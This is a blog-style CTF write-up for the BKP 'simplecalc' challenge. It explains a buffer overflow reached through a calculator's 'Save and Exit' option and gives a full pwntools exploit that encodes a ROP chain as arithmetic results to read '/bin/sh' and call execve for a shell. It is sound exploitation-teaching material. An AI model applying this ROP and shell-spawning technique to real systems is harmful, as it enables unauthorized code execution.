Solved by 4rbit3r.
This was my first attempt at BKP and it was a great ctf. Lets get down to the binary.
So the binary is 64 bit, statically linked. It has only NX as a protection and nothing else.
The binary asks you to enter the number of calculations that you wish to perform. This number is the multiplied by 4. So n becomes 4n. And then a chunk of size 4n is requested via a malloc call.
We can perform 4 operations ie Add, Subtract, Multiply and Divide. The result of these operations is stored in the chunk allocated.
Choosing the option “Save and Exit” would copy the contents of the chunk onto the buffer which results in a Buffer overflow.
So our objective is quite clear. The results of our calculations form the ROP chain. But these results are only 4 bytes long. And the first result is placed in the lower 4 bytes. So we need to make sure that the upper bytes are nulled out correctly.
My idea of exploit was to read the string “/bin/sh” into a fixed memory location using a read syscall and then call execve syscall with that pointer.
So now the exploit code:
from pwn import * p=process("simplecalc") add=1 sub=2 mul=3 div=4 exit=5 null=3422615 g1=0x0044db34 #pop rax;ret; g2=0x00493fd6 #pop rdi;ret; g3=0x00437aa9 #pop rdx;pop rsi;ret; g4=0x4648e5 #syscall;ret; bss=0x6c0200 #number of calculations payload=["123"] #ROP chain to read binsh from input payload+=[sub,null,null]*18 payload+=[add,g1/2,g1/2]+[sub,null,null] payload+=[sub,null,null]*2 #rax=0 payload+=[add,g2/2,g2/2]+[sub,null,null] payload+=[sub,null,null]*2 #rdi=0 payload+=[add,g3/2,g3/2+1]+[sub,null,null] payload+=[sub,null+7,null]+[sub,null,null] #rdx=7 payload+=[add,bss/2,bss/2]+[sub,null,null] #rsi= 0x6c0200 payload+=[add,g4/2,g4/2+1]+[sub,null,null] #syscall #ROP chain to execute /bin/sh payload+=[add,g2/2,g2/2]+[sub,null,null] payload+=[add,bss/2,bss/2]+[sub,null,null] #rdi= 0x6c0200 payload+=[add,g1/2,g1/2]+[sub,null,null] payload+=[sub,null+59,null]+[sub,null,null] #rax=59 payload+=[add,g3/2,g3/2+1]+[sub,null,null] payload+=[sub,null,null]*4 #rsi=rdx=0 payload+=[add,g4/2,g4/2+1]+[sub,null,null] #syscall #exit payload+=[exit] payload+=["/bin/sh"] payload=map(str,payload) p.sendlines(payload) if p.connected(): log.success("Got shell") p.interactive() else: log.failure("Exploit didn't work")</pre> <pre>
And that did pop a shell. Nice!
Leave a Reply